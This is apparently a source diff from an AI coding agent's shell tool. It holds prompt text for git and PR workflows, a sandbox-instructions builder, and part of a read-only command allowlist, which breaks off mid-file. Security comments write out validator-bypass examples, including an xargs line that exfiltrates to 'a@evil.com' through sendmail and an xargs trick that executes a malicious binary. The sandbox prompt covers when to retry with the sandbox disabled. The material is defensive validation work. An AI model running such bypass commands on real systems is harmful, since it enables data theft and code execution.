+- NEVER run destructive git commands (push --force, reset --hard, checkout ., restore ., clean -f, branch -D) unless the user explicitly requests these actions. Taking unauthorized destructive actions is unhelpful and can result in lost work, so it's best to ONLY run these commands when given direct instructions 
+- NEVER skip hooks (--no-verify, --no-gpg-sign, etc) unless the user explicitly requests it
+- NEVER run force push to main/master, warn the user if they request it
+- CRITICAL: Always create NEW commits rather than amending, unless the user explicitly requests a git amend. When a pre-commit hook fails, the commit did NOT happen — so --amend would modify the PREVIOUS commit, which may result in destroying work or losing previous changes. Instead, after hook failure, fix the issue, re-stage, and create a NEW commit
+- When staging files, prefer adding specific files by name rather than using "git add -A" or "git add .", which can accidentally include sensitive files (.env, credentials) or large binaries
+- NEVER commit changes unless the user explicitly asks you to. It is VERY IMPORTANT to only commit when explicitly asked, otherwise the user will feel that you are being too proactive
+
+1. Run the following bash commands in parallel, each using the ${BASH_TOOL_NAME} tool:
+  - Run a git status command to see all untracked files. IMPORTANT: Never use the -uall flag as it can cause memory issues on large repos.
+  - Run a git diff command to see both staged and unstaged changes that will be committed.
+  - Run a git log command to see recent commit messages, so that you can follow this repository's commit message style.
+2. Analyze all staged changes (both previously staged and newly added) and draft a commit message:
+  - Summarize the nature of the changes (eg. new feature, enhancement to an existing feature, bug fix, refactoring, test, docs, etc.). Ensure the message accurately reflects the changes and their purpose (i.e. "add" means a wholly new feature, "update" means an enhancement to an existing feature, "fix" means a bug fix, etc.).
+  - Do not commit files that likely contain secrets (.env, credentials.json, etc). Warn the user if they specifically request to commit those files
+  - Draft a concise (1-2 sentences) commit message that focuses on the "why" rather than the "what"
+  - Ensure it accurately reflects the changes and their purpose
+3. Run the following commands in parallel:
+   - Add relevant untracked files to the staging area.
+   - Create the commit with a message${commitAttribution ? ` ending with:\n   ${commitAttribution}` : '.'}
+   - Run git status after the commit completes to verify success.
+   Note: git status depends on the commit completing, so run it sequentially after the commit.
+4. If the commit fails due to pre-commit hook: fix the issue and create a NEW commit
+
+Important notes:
+- NEVER run additional commands to read or explore code, besides git bash commands
+- NEVER use the ${TodoWriteTool.name} or ${AGENT_TOOL_NAME} tools
+- DO NOT push to the remote repository unless the user explicitly asks you to do so
+- IMPORTANT: Never use git commands with the -i flag (like git rebase -i or git add -i) since they require interactive input which is not supported.
+- IMPORTANT: Do not use --no-edit with git rebase commands, as the --no-edit flag is not a valid option for git rebase.
+- If there are no changes to commit (i.e., no untracked files and no modifications), do not create an empty commit
+- In order to ensure good formatting, ALWAYS pass the commit message via a HEREDOC, a la this example:
+<example>
+git commit -m "$(cat <<'EOF'
+   Commit message here.${commitAttribution ? `\n\n   ${commitAttribution}` : ''}
+   EOF
+   )"
+</example>
+
+# Creating pull requests
+Use the gh command via the Bash tool for ALL GitHub-related tasks including working with issues, pull requests, checks, and releases. If given a Github URL use the gh command to get the information needed.
+
+IMPORTANT: When the user asks you to create a pull request, follow these steps carefully:
+
+1. Run the following bash commands in parallel using the ${BASH_TOOL_NAME} tool, in order to understand the current state of the branch since it diverged from the main branch:
+   - Run a git status command to see all untracked files (never use -uall flag)
+   - Run a git diff command to see both staged and unstaged changes that will be committed
+   - Check if the current branch tracks a remote branch and is up to date with the remote, so you know if you need to push to the remote
+   - Run a git log command and \`git diff [base-branch]...HEAD\` to understand the full commit history for the current branch (from the time it diverged from the base branch)
+2. Analyze all changes that will be included in the pull request, making sure to look at all relevant commits (NOT just the latest commit, but ALL commits that will be included in the pull request!!!), and draft a pull request title and summary:
+   - Keep the PR title short (under 70 characters)
+   - Use the description/body for details, not the title
+3. Run the following commands in parallel:
+   - Create new branch if needed
+   - Push to remote with -u flag if needed
+   - Create PR using gh pr create with the format below. Use a HEREDOC to pass the body to ensure correct formatting.
+<example>
+gh pr create --title "the pr title" --body "$(cat <<'EOF'
+## Summary
+<1-3 bullet points>
+
+## Test plan
+[Bulleted markdown checklist of TODOs for testing the pull request...]${prAttribution ? `\n\n${prAttribution}` : ''}
+EOF
+)"
+</example>
+
+Important:
+- DO NOT use the ${TodoWriteTool.name} or ${AGENT_TOOL_NAME} tools
+- Return the PR URL when you're done, so the user can see it
+
+# Other common operations
+- View comments on a Github PR: gh api repos/foo/bar/pulls/123/comments`
+}
+
+// SandboxManager merges config from multiple sources (settings layers, defaults,
+// CLI flags) without deduping, so paths like ~/.cache appear 3× in allowOnly.
+// Dedup here before inlining into the prompt — affects only what the model sees,
+// not sandbox enforcement. Saves ~150-200 tokens/request when sandbox is enabled.
+function dedup<T>(arr: T[] | undefined): T[] | undefined {
+  if (!arr || arr.length === 0) return arr
+  return [...new Set(arr)]
+}
+
+function getSimpleSandboxSection(): string {
+  if (!SandboxManager.isSandboxingEnabled()) {
+    return ''
+  }
+
+  const fsReadConfig = SandboxManager.getFsReadConfig()
+  const fsWriteConfig = SandboxManager.getFsWriteConfig()
+  const networkRestrictionConfig = SandboxManager.getNetworkRestrictionConfig()
+  const allowUnixSockets = SandboxManager.getAllowUnixSockets()
+  const ignoreViolations = SandboxManager.getIgnoreViolations()
+  const allowUnsandboxedCommands =
+    SandboxManager.areUnsandboxedCommandsAllowed()
+
+  // Replace the per-UID temp dir literal (e.g. /private/tmp/claude-1001/) with
+  // "$TMPDIR" so the prompt is identical across users — avoids busting the
+  // cross-user global prompt cache. The sandbox already sets $TMPDIR at runtime.
+  const claudeTempDir = getClaudeTempDir()
+  const normalizeAllowOnly = (paths: string[]): string[] =>
+    [...new Set(paths)].map(p => (p === claudeTempDir ? '$TMPDIR' : p))
+
+  const filesystemConfig = {
+    read: {
+      denyOnly: dedup(fsReadConfig.denyOnly),
+      ...(fsReadConfig.allowWithinDeny && {
+        allowWithinDeny: dedup(fsReadConfig.allowWithinDeny),
+      }),
+    },
+    write: {
+      allowOnly: normalizeAllowOnly(fsWriteConfig.allowOnly),
+      denyWithinAllow: dedup(fsWriteConfig.denyWithinAllow),
+    },
+  }
+
+  const networkConfig = {
+    ...(networkRestrictionConfig?.allowedHosts && {
+      allowedHosts: dedup(networkRestrictionConfig.allowedHosts),
+    }),
+    ...(networkRestrictionConfig?.deniedHosts && {
+      deniedHosts: dedup(networkRestrictionConfig.deniedHosts),
+    }),
+    ...(allowUnixSockets && { allowUnixSockets: dedup(allowUnixSockets) }),
+  }
+
+  const restrictionsLines = []
+  if (Object.keys(filesystemConfig).length > 0) {
+    restrictionsLines.push(`Filesystem: ${jsonStringify(filesystemConfig)}`)
+  }
+  if (Object.keys(networkConfig).length > 0) {
+    restrictionsLines.push(`Network: ${jsonStringify(networkConfig)}`)
+  }
+  if (ignoreViolations) {
+    restrictionsLines.push(
+      `Ignored violations: ${jsonStringify(ignoreViolations)}`,
+    )
+  }
+
+  const sandboxOverrideItems: Array<string | string[]> =
+    allowUnsandboxedCommands
+      ? [
+          'You should always default to running commands within the sandbox. Do NOT attempt to set `dangerouslyDisableSandbox: true` unless:',
+          [
+            'The user *explicitly* asks you to bypass sandbox',
+            'A specific command just failed and you see evidence of sandbox restrictions causing the failure. Note that commands can fail for many reasons unrelated to the sandbox (missing files, wrong arguments, network issues, etc.).',
+          ],
+          'Evidence of sandbox-caused failures includes:',
+          [
+            '"Operation not permitted" errors for file/network operations',
+            'Access denied to specific paths outside allowed directories',
+            'Network connection failures to non-whitelisted hosts',
+            'Unix socket connection errors',
+          ],
+          'When you see evidence of sandbox-caused failure:',
+          [
+            "Immediately retry with `dangerouslyDisableSandbox: true` (don't ask, just do it)",
+            'Briefly explain what sandbox restriction likely caused the failure. Be sure to mention that the user can use the `/sandbox` command to manage restrictions.',
+            'This will prompt the user for permission',
+          ],
+          'Treat each command you execute with `dangerouslyDisableSandbox: true` individually. Even if you have recently run a command with this setting, you should default to running future commands within the sandbox.',
+          'Do not suggest adding sensitive paths like ~/.bashrc, ~/.zshrc, ~/.ssh/*, or credential files to the sandbox allowlist.',
+        ]
+      : [
+          'All commands MUST run in sandbox mode - the `dangerouslyDisableSandbox` parameter is disabled by policy.',
+          'Commands cannot run outside the sandbox under any circumstances.',
+          'If a command fails due to sandbox restrictions, work with the user to adjust sandbox settings instead.',
+        ]
+
+  const items: Array<string | string[]> = [
+    ...sandboxOverrideItems,
+    'For temporary files, always use the `$TMPDIR` environment variable. TMPDIR is automatically set to the correct sandbox-writable directory in sandbox mode. Do NOT use `/tmp` directly - use `$TMPDIR` instead.',
+  ]
+
+  return [
+    '',
+    '## Command sandbox',
+    'By default, your command will be run in a sandbox. This sandbox controls which directories and network hosts commands may access or modify without an explicit override.',
+    '',
+    'The sandbox has the following restrictions:',
+    restrictionsLines.join('\n'),
+    '',
+    ...prependBullets(items),
+  ].join('\n')
+}
+
+export function getSimplePrompt(): string {
+  // Ant-native builds alias find/grep to embedded bfs/ugrep in Claude's shell,
+  // so we don't steer away from them (and Glob/Grep tools are removed).
+  const embedded = hasEmbeddedSearchTools()
+
+  const toolPreferenceItems = [
+    ...(embedded
+      ? []
+      : [
+          `File search: Use ${GLOB_TOOL_NAME} (NOT find or ls)`,
+          `Content search: Use ${GREP_TOOL_NAME} (NOT grep or rg)`,
+        ]),
+    `Read files: Use ${FILE_READ_TOOL_NAME} (NOT cat/head/tail)`,
+    `Edit files: Use ${FILE_EDIT_TOOL_NAME} (NOT sed/awk)`,
+    `Write files: Use ${FILE_WRITE_TOOL_NAME} (NOT echo >/cat <<EOF)`,
+    'Communication: Output text directly (NOT echo/printf)',
+  ]
+
+  const avoidCommands = embedded
+    ? '`cat`, `head`, `tail`, `sed`, `awk`, or `echo`'
+    : '`find`, `grep`, `cat`, `head`, `tail`, `sed`, `awk`, or `echo`'
+
+  const multipleCommandsSubitems = [
+    `If the commands are independent and can run in parallel, make multiple ${BASH_TOOL_NAME} tool calls in a single message. Example: if you need to run "git status" and "git diff", send a single message with two ${BASH_TOOL_NAME} tool calls in parallel.`,
+    `If the commands depend on each other and must run sequentially, use a single ${BASH_TOOL_NAME} call with '&&' to chain them together.`,
+    "Use ';' only when you need to run commands sequentially but don't care if earlier commands fail.",
+    'DO NOT use newlines to separate commands (newlines are ok in quoted strings).',
+  ]
+
+  const gitSubitems = [
+    'Prefer to create a new commit rather than amending an existing commit.',
+    'Before running destructive operations (e.g., git reset --hard, git push --force, git checkout --), consider whether there is a safer alternative that achieves the same goal. Only use destructive operations when they are truly the best approach.',
+    'Never skip hooks (--no-verify) or bypass signing (--no-gpg-sign, -c commit.gpgsign=false) unless the user has explicitly asked for it. If a hook fails, investigate and fix the underlying issue.',
+  ]
+
+  const sleepSubitems = [
+    'Do not sleep between commands that can run immediately — just run them.',
+    ...(feature('MONITOR_TOOL')
+      ? [
+          'Use the Monitor tool to stream events from a background process (each stdout line is a notification). For one-shot "wait until done," use Bash with run_in_background instead.',
+        ]
+      : []),
+    'If your command is long running and you would like to be notified when it finishes — use `run_in_background`. No sleep needed.',
+    'Do not retry failing commands in a sleep loop — diagnose the root cause.',
+    'If waiting for a background task you started with `run_in_background`, you will be notified when it completes — do not poll.',
+    ...(feature('MONITOR_TOOL')
+      ? [
+          '`sleep N` as the first command with N ≥ 2 is blocked. If you need a delay (rate limiting, deliberate pacing), keep it under 2 seconds.',
+        ]
+      : [
+          'If you must poll an external process, use a check command (e.g. `gh run view`) rather than sleeping first.',
+          'If you must sleep, keep the duration short (1-5 seconds) to avoid blocking the user.',
+        ]),
+  ]
+  const backgroundNote = getBackgroundUsageNote()
+
+  const instructionItems: Array<string | string[]> = [
+    'If your command will create new directories or files, first use this tool to run `ls` to verify the parent directory exists and is the correct location.',
+    'Always quote file paths that contain spaces with double quotes in your command (e.g., cd "path with spaces/file.txt")',
+    'Try to maintain your current working directory throughout the session by using absolute paths and avoiding usage of `cd`. You may use `cd` if the User explicitly requests it.',
+    `You may specify an optional timeout in milliseconds (up to ${getMaxTimeoutMs()}ms / ${getMaxTimeoutMs() / 60000} minutes). By default, your command will timeout after ${getDefaultTimeoutMs()}ms (${getDefaultTimeoutMs() / 60000} minutes).`,
+    ...(backgroundNote !== null ? [backgroundNote] : []),
+    'When issuing multiple commands:',
+    multipleCommandsSubitems,
+    'For git commands:',
+    gitSubitems,
+    'Avoid unnecessary `sleep` commands:',
+    sleepSubitems,
+    ...(embedded
+      ? [
+          // bfs (which backs `find`) uses Oniguruma for -regex, which picks the
+          // FIRST matching alternative (leftmost-first), unlike GNU find's
+          // POSIX leftmost-longest. This silently drops matches when a shorter
+          // alternative is a prefix of a longer one.
+          "When using `find -regex` with alternation, put the longest alternative first. Example: use `'.*\\.\\(tsx\\|ts\\)'` not `'.*\\.\\(ts\\|tsx\\)'` — the second form silently skips `.tsx` files.",
+        ]
+      : []),
+  ]
+
+  return [
+    'Executes a given bash command and returns its output.',
+    '',
+    "The working directory persists between commands, but shell state does not. The shell environment is initialized from the user's profile (bash or zsh).",
+    '',
+    `IMPORTANT: Avoid using this tool to run ${avoidCommands} commands, unless explicitly instructed or after you have verified that a dedicated tool cannot accomplish your task. Instead, use the appropriate dedicated tool as this will provide a much better experience for the user:`,
+    '',
+    ...prependBullets(toolPreferenceItems),
+    `While the ${BASH_TOOL_NAME} tool can do similar things, it’s better to use the built-in tools as they provide a better user experience and make it easier to review tool calls and give permission.`,
+    '',
+    '# Instructions',
+    ...prependBullets(instructionItems),
+    getSimpleSandboxSection(),
+    ...(getCommitAndPRInstructions() ? ['', getCommitAndPRInstructions()] : []),
+  ].join('\n')
+}

src/tools/BashTool/readOnlyValidation.ts

@@ -0,0 +1,1990 @@
+import type { z } from 'zod/v4'
+import { getOriginalCwd } from '../../bootstrap/state.js'
+import {
+  extractOutputRedirections,
+  splitCommand_DEPRECATED,
+} from '../../utils/bash/commands.js'
+import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
+import { getCwd } from '../../utils/cwd.js'
+import { isCurrentDirectoryBareGitRepo } from '../../utils/git.js'
+import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
+import { getPlatform } from '../../utils/platform.js'
+import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
+import {
+  containsVulnerableUncPath,
+  DOCKER_READ_ONLY_COMMANDS,
+  EXTERNAL_READONLY_COMMANDS,
+  type FlagArgType,
+  GH_READ_ONLY_COMMANDS,
+  GIT_READ_ONLY_COMMANDS,
+  PYRIGHT_READ_ONLY_COMMANDS,
+  RIPGREP_READ_ONLY_COMMANDS,
+  validateFlags,
+} from '../../utils/shell/readOnlyCommandValidation.js'
+import type { BashTool } from './BashTool.js'
+import { isNormalizedGitCommand } from './bashPermissions.js'
+import { bashCommandIsSafe_DEPRECATED } from './bashSecurity.js'
+import {
+  COMMAND_OPERATION_TYPE,
+  PATH_EXTRACTORS,
+  type PathCommand,
+} from './pathValidation.js'
+import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
+
+// Unified command validation configuration system
+type CommandConfig = {
+  // A Record mapping from the command (e.g. `xargs` or `git diff`) to its safe flags and the values they accept
+  safeFlags: Record<string, FlagArgType>
+  // An optional regex that is used for additional validation beyond flag parsing
+  regex?: RegExp
+  // An optional callback for additional custom validation logic. Returns true if the command is dangerous,
+  // false if it appears to be safe. Meant to be used in conjunction with the safeFlags-based validation.
+  additionalCommandIsDangerousCallback?: (
+    rawCommand: string,
+    args: string[],
+  ) => boolean
+  // When false, the tool does NOT respect POSIX `--` end-of-options.
+  // validateFlags will continue checking flags after `--` instead of breaking.
+  // Default: true (most tools respect `--`).
+  respectsDoubleDash?: boolean
+}
+
+// Shared safe flags for fd and fdfind (Debian/Ubuntu package name)
+// SECURITY: -x/--exec and -X/--exec-batch are deliberately excluded —
+// they execute arbitrary commands for each search result.
+const FD_SAFE_FLAGS: Record<string, FlagArgType> = {
+  '-h': 'none',
+  '--help': 'none',
+  '-V': 'none',
+  '--version': 'none',
+  '-H': 'none',
+  '--hidden': 'none',
+  '-I': 'none',
+  '--no-ignore': 'none',
+  '--no-ignore-vcs': 'none',
+  '--no-ignore-parent': 'none',
+  '-s': 'none',
+  '--case-sensitive': 'none',
+  '-i': 'none',
+  '--ignore-case': 'none',
+  '-g': 'none',
+  '--glob': 'none',
+  '--regex': 'none',
+  '-F': 'none',
+  '--fixed-strings': 'none',
+  '-a': 'none',
+  '--absolute-path': 'none',
+  // SECURITY: -l/--list-details EXCLUDED — internally executes `ls` as subprocess (same
+  // pathway as --exec-batch). PATH hijacking risk if malicious `ls` is on PATH.
+  '-L': 'none',
+  '--follow': 'none',
+  '-p': 'none',
+  '--full-path': 'none',
+  '-0': 'none',
+  '--print0': 'none',
+  '-d': 'number',
+  '--max-depth': 'number',
+  '--min-depth': 'number',
+  '--exact-depth': 'number',
+  '-t': 'string',
+  '--type': 'string',
+  '-e': 'string',
+  '--extension': 'string',
+  '-S': 'string',
+  '--size': 'string',
+  '--changed-within': 'string',
+  '--changed-before': 'string',
+  '-o': 'string',
+  '--owner': 'string',
+  '-E': 'string',
+  '--exclude': 'string',
+  '--ignore-file': 'string',
+  '-c': 'string',
+  '--color': 'string',
+  '-j': 'number',
+  '--threads': 'number',
+  '--max-buffer-time': 'string',
+  '--max-results': 'number',
+  '-1': 'none',
+  '-q': 'none',
+  '--quiet': 'none',
+  '--show-errors': 'none',
+  '--strip-cwd-prefix': 'none',
+  '--one-file-system': 'none',
+  '--prune': 'none',
+  '--search-path': 'string',
+  '--base-directory': 'string',
+  '--path-separator': 'string',
+  '--batch-size': 'number',
+  '--no-require-git': 'none',
+  '--hyperlink': 'string',
+  '--and': 'string',
+  '--format': 'string',
+}
+
+// Central configuration for allowlist-based command validation
+// All commands and flags here should only allow reading files. They should not
+// allow writing to files, executing code, or creating network requests.
+const COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
+  xargs: {
+    safeFlags: {
+      '-I': '{}',
+      // SECURITY: `-i` and `-e` (lowercase) REMOVED — both use GNU getopt
+      // optional-attached-arg semantics (`i::`, `e::`). The arg MUST be
+      // attached (`-iX`, `-eX`); space-separated (`-i X`, `-e X`) means the
+      // flag takes NO arg and `X` becomes the next positional (target command).
+      //
+      // `-i` (`i::` — optional replace-str):
+      //   echo /usr/sbin/sendm | xargs -it tail a@evil.com
+      //   validator: -it bundle (both 'none') OK, tail ∈ SAFE_TARGET → break
+      //   GNU: -i replace-str=t, tail → /usr/sbin/sendmail → NETWORK EXFIL
+      //
+      // `-e` (`e::` — optional eof-str):
+      //   cat data | xargs -e EOF echo foo
+      //   validator: -e consumes 'EOF' as arg (type 'EOF'), echo ∈ SAFE_TARGET
+      //   GNU: -e no attached arg → no eof-str, 'EOF' is the TARGET COMMAND
+      //   → executes binary named EOF from PATH → CODE EXEC (malicious repo)
+      //
+      // Use uppercase `-I {}` (mandatory arg) and `-E EOF` (POSIX, mandatory
+      // arg) instead — both validator and xargs agree on argument consumption.
+      // `-i`/`-e` are deprecated (GNU: "use -I instead" / "use -E instead").
+      '-n': 'number',
+      '-P': 'number',
+      '-L': 'number',
+      '-s': 'number',
+      '-E': 'EOF', // POSIX, MANDATORY separate arg — validator & xargs agree
+      '-0': 'none',
+      '-t': 'none',
+      '-r': 'none',
+      '-x': 'none',
+      '-d': 'char',
+    },
+  },
+  // All git read-only commands from shared validation map
+  ...GIT_READ_ONLY_COMMANDS,
+  file: {
+    safeFlags: {
+      // Output format flags
+      '--brief': 'none',
+      '-b': 'none',
+      '--mime': 'none',
+      '-i': 'none',
+      '--mime-type': 'none',
+      '--mime-encoding': 'none',
+      '--apple': 'none',
+      // Behavior flags
+      '--check-encoding': 'none',
+      '-c': 'none',
+      '--exclude': 'string',
+      '--exclude-quiet': 'string',
+      '--print0': 'none',
+      '-0': 'none',
+      '-f': 'string',
+      '-F': 'string',
+      '--separator': 'string',
+      '--help': 'none',
+      '--version': 'none',
+      '-v': 'none',
+      // Following/dereferencing
+      '--no-dereference': 'none',
+      '-h': 'none',
+      '--dereference': 'none',
+      '-L': 'none',
+      // Magic file options (safe when just reading)
+      '--magic-file': 'string',
+      '-m': 'string',
+      // Other safe options
+      '--keep-going': 'none',
+      '-k': 'none',
+      '--list': 'none',
+      '-l': 'none',
+      '--no-buffer': 'none',
+      '-n': 'none',
+      '--preserve-date': 'none',
+      '-p': 'none',
+      '--raw': 'none',
+      '-r': 'none',
+      '-s': 'none',
+      '--special-files': 'none',
+      // Uncompress flag for archives
+      '--uncompress': 'none',
+      '-z': 'none',
+    },
+  },
+  sed: {
+    safeFlags: {
+      // Expression flags
+      '--expression': 'string',
+      '-e': 'string',
+      // Output control
+      '--quiet': 'none',
+      '--silent': 'none',
+      '-n': 'none',
+      // Extended regex
+      '--regexp-extended': 'none',
+      '-r': 'none',
+      '--posix': 'none',
+      '-E': 'none',
+      // Line handling
+      '--line-length': 'number',
+      '-l': 'number',
+      '--zero-terminated': 'none',
+      '-z': 'none',
+      '--separate': 'none',
+      '-s': 'none',
+      '--unbuffered': 'none',
+      '-u': 'none',
+      // Debugging/help
+      '--debug': 'none',
+      '--help': 'none',
+      '--version': 'none',
+    },
+    additionalCommandIsDangerousCallback: (
+      rawCommand: string,
+      _args: string[],
+    ) => !sedCommandIsAllowedByAllowlist(rawCommand),
+  },
+  sort: {
+    safeFlags: {
+      // Sorting options
+      '--ignore-leading-blanks': 'none',
+      '-b': 'none',
+      '--dictionary-order': 'none',
+      '-d': 'none',
+      '--ignore-case': 'none',
+      '-f': 'none',
+      '--general-numeric-sort': 'none',
+      '-g': 'none',
+      '--human-numeric-sort': 'none',
+      '-h': 'none',
+      '--ignore-nonprinting': 'none',
+      '-i': 'none',
+      '--month-sort': 'none',
+      '-M': 'none',
+      '--numeric-sort': 'none',
+      '-n': 'none',
+      '--random-sort': 'none',
+      '-R': 'none',
+      '--reverse': 'none',
+      '-r': 'none',
+      '--sort': 'string',
+      '--stable': 'none',
+      '-s': 'none',
+      '--unique': 'none',
+      '-u': 'none',
+      '--version-sort': 'none',
+      '-V': 'none',
+      '--zero-terminated': 'none',
+      '-z': 'none',
+      // Key specifications
+      '--key': 'string',
+      '-k': 'string',
+      '--field-separator': 'string',
+      '-t': 'string',
+      // Checking
+      '--check': 'none',
+      '-c': 'none',
+      '--check-char-order': 'none',
+      '-C': 'none',
+      // Merging
+      '--merge': 'none',
+      '-m': 'none',
+      // Buffer size
+      '--buffer-size': 'string',
+      '-S': 'string',
+      // Parallel processing
+      '--parallel': 'number',
+      // Batch size
+      '--batch-size': 'number',
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  man: {
+    safeFlags: {
+      // Safe display options
+      '-a': 'none', // Display all manual pages
+      '--all': 'none', // Same as -a
+      '-d': 'none', // Debug mode
+      '-f': 'none', // Emulate whatis
+      '--whatis': 'none', // Same as -f
+      '-h': 'none', // Help
+      '-k': 'none', // Emulate apropos
+      '--apropos': 'none', // Same as -k
+      '-l': 'string', // Local file (safe for reading, Linux only)
+      '-w': 'none', // Display location instead of content
+
+      // Safe formatting options
+      '-S': 'string', // Restrict manual sections
+      '-s': 'string', // Same as -S for whatis/apropos mode
+    },
+  },
+  // help command - only allow bash builtin help flags to prevent attacks when
+  // help is aliased to man (e.g., in oh-my-zsh common-aliases plugin).
+  // man's -P flag allows arbitrary command execution via pager.
+  help: {
+    safeFlags: {
+      '-d': 'none', // Output short description for each topic
+      '-m': 'none', // Display usage in pseudo-manpage format
+      '-s': 'none', // Output only a short usage synopsis
+    },
+  },
+  netstat: {
+    safeFlags: {
+      // Safe display options
+      '-a': 'none', // Show all sockets
+      '-L': 'none', // Show listen queue sizes
+      '-l': 'none', // Print full IPv6 address
+      '-n': 'none', // Show network addresses as numbers
+
+      // Safe filtering options
+      '-f': 'string', // Address family (inet, inet6, unix, vsock)
+
+      // Safe interface options
+      '-g': 'none', // Show multicast group membership
+      '-i': 'none', // Show interface state
+      '-I': 'string', // Specific interface
+
+      // Safe statistics options
+      '-s': 'none', // Show per-protocol statistics
+
+      // Safe routing options
+      '-r': 'none', // Show routing tables
+
+      // Safe mbuf options
+      '-m': 'none', // Show memory management statistics
+
+      // Safe other options
+      '-v': 'none', // Increase verbosity
+    },
+  },
+  ps: {
+    safeFlags: {
+      // UNIX-style process selection (these are safe)
+      '-e': 'none', // Select all processes
+      '-A': 'none', // Select all processes (same as -e)
+      '-a': 'none', // Select all with tty except session leaders
+      '-d': 'none', // Select all except session leaders
+      '-N': 'none', // Negate selection
+      '--deselect': 'none',
+
+      // UNIX-style output format (safe, doesn't show env)
+      '-f': 'none', // Full format
+      '-F': 'none', // Extra full format
+      '-l': 'none', // Long format
+      '-j': 'none', // Jobs format
+      '-y': 'none', // Don't show flags
+
+      // Output modifiers (safe ones)
+      '-w': 'none', // Wide output
+      '-ww': 'none', // Unlimited width
+      '--width': 'number',
+      '-c': 'none', // Show scheduler info
+      '-H': 'none', // Show process hierarchy
+      '--forest': 'none',
+      '--headers': 'none',
+      '--no-headers': 'none',
+      '-n': 'string', // Set namelist file
+      '--sort': 'string',
+
+      // Thread display
+      '-L': 'none', // Show threads
+      '-T': 'none', // Show threads
+      '-m': 'none', // Show threads after processes
+
+      // Process selection by criteria
+      '-C': 'string', // By command name
+      '-G': 'string', // By real group ID
+      '-g': 'string', // By session or effective group
+      '-p': 'string', // By PID
+      '--pid': 'string',
+      '-q': 'string', // Quick mode by PID
+      '--quick-pid': 'string',
+      '-s': 'string', // By session ID
+      '--sid': 'string',
+      '-t': 'string', // By tty
+      '--tty': 'string',
+      '-U': 'string', // By real user ID
+      '-u': 'string', // By effective user ID
+      '--user': 'string',
+
+      // Help/version
+      '--help': 'none',
+      '--info': 'none',
+      '-V': 'none',
+      '--version': 'none',
+    },
+    // Block BSD-style 'e' modifier which shows environment variables
+    // BSD options are letter-only tokens without a leading dash
+    additionalCommandIsDangerousCallback: (
+      _rawCommand: string,
+      args: string[],
+    ) => {
+      // Check for BSD-style 'e' in letter-only tokens (not -e which is UNIX-style)
+      // A BSD-style option is a token of only letters (no leading dash) containing 'e'
+      return args.some(
+        a => !a.startsWith('-') && /^[a-zA-Z]*e[a-zA-Z]*$/.test(a),
+      )
+    },
+  },
+  base64: {
+    respectsDoubleDash: false, // macOS base64 does not respect POSIX --
+    safeFlags: {
+      // Safe decode options
+      '-d': 'none', // Decode
+      '-D': 'none', // Decode (macOS)
+      '--decode': 'none', // Decode
+
+      // Safe formatting options
+      '-b': 'number', // Break lines at num (macOS)
+      '--break': 'number', // Break lines at num (macOS)
+      '-w': 'number', // Wrap lines at COLS (Linux)
+      '--wrap': 'number', // Wrap lines at COLS (Linux)
+
+      // Safe input options (read from file, not write)
+      '-i': 'string', // Input file (safe for reading)
+      '--input': 'string', // Input file (safe for reading)
+
+      // Safe misc options
+      '--ignore-garbage': 'none', // Ignore non-alphabet chars when decoding (Linux)
+      '-h': 'none', // Help
+      '--help': 'none', // Help
+      '--version': 'none', // Version
+    },
+  },
+  grep: {
+    safeFlags: {
+      // Pattern flags
+      '-e': 'string', // Pattern
+      '--regexp': 'string',
+      '-f': 'string', // File with patterns
+      '--file': 'string',
+      '-F': 'none', // Fixed strings
+      '--fixed-strings': 'none',
+      '-G': 'none', // Basic regexp (default)
+      '--basic-regexp': 'none',
+      '-E': 'none', // Extended regexp
+      '--extended-regexp': 'none',
+      '-P': 'none', // Perl regexp
+      '--perl-regexp': 'none',
+
+      // Matching control
+      '-i': 'none', // Ignore case
+      '--ignore-case': 'none',
+      '--no-ignore-case': 'none',
+      '-v': 'none', // Invert match
+      '--invert-match': 'none',
+      '-w': 'none', // Word regexp
+      '--word-regexp': 'none',
+      '-x': 'none', // Line regexp
+      '--line-regexp': 'none',
+
+      // Output control
+      '-c': 'none', // Count
+      '--count': 'none',
+      '--color': 'string',
+      '--colour': 'string',
+      '-L': 'none', // Files without match
+      '--files-without-match': 'none',
+      '-l': 'none', // Files with matches
+      '--files-with-matches': 'none',
+      '-m': 'number', // Max count
+      '--max-count': 'number',
+      '-o': 'none', // Only matching
+      '--only-matching': 'none',
+      '-q': 'none', // Quiet
+      '--quiet': 'none',
+      '--silent': 'none',
+      '-s': 'none', // No messages
+      '--no-messages': 'none',
+
+      // Output line prefix
+      '-b': 'none', // Byte offset
+      '--byte-offset': 'none',
+      '-H': 'none', // With filename
+      '--with-filename': 'none',
+      '-h': 'none', // No filename
+      '--no-filename': 'none',
+      '--label': 'string',
+      '-n': 'none', // Line number
+      '--line-number': 'none',
+      '-T': 'none', // Initial tab
+      '--initial-tab': 'none',
+      '-u': 'none', // Unix byte offsets
+      '--unix-byte-offsets': 'none',
+      '-Z': 'none', // Null after filename
+      '--null': 'none',
+      '-z': 'none', // Null data
+      '--null-data': 'none',
+
+      // Context control
+      '-A': 'number', // After context
+      '--after-context': 'number',
+      '-B': 'number', // Before context
+      '--before-context': 'number',
+      '-C': 'number', // Context
+      '--context': 'number',
+      '--group-separator': 'string',
+      '--no-group-separator': 'none',
+
+      // File and directory selection
+      '-a': 'none', // Text (process binary as text)
+      '--text': 'none',
+      '--binary-files': 'string',
+      '-D': 'string', // Devices
+      '--devices': 'string',
+      '-d': 'string', // Directories
+      '--directories': 'string',
+      '--exclude': 'string',
+      '--exclude-from': 'string',
+      '--exclude-dir': 'string',
+      '--include': 'string',
+      '-r': 'none', // Recursive
+      '--recursive': 'none',
+      '-R': 'none', // Dereference-recursive
+      '--dereference-recursive': 'none',
+
+      // Other options
+      '--line-buffered': 'none',
+      '-U': 'none', // Binary
+      '--binary': 'none',
+
+      // Help and version
+      '--help': 'none',
+      '-V': 'none',
+      '--version': 'none',
+    },
+  },
+  ...RIPGREP_READ_ONLY_COMMANDS,
+  // Checksum commands - these only read files and compute/verify hashes
+  // All flags are safe as they only affect output format or verification behavior
+  sha256sum: {
+    safeFlags: {
+      // Mode flags
+      '-b': 'none', // Binary mode
+      '--binary': 'none',
+      '-t': 'none', // Text mode
+      '--text': 'none',
+
+      // Check/verify flags
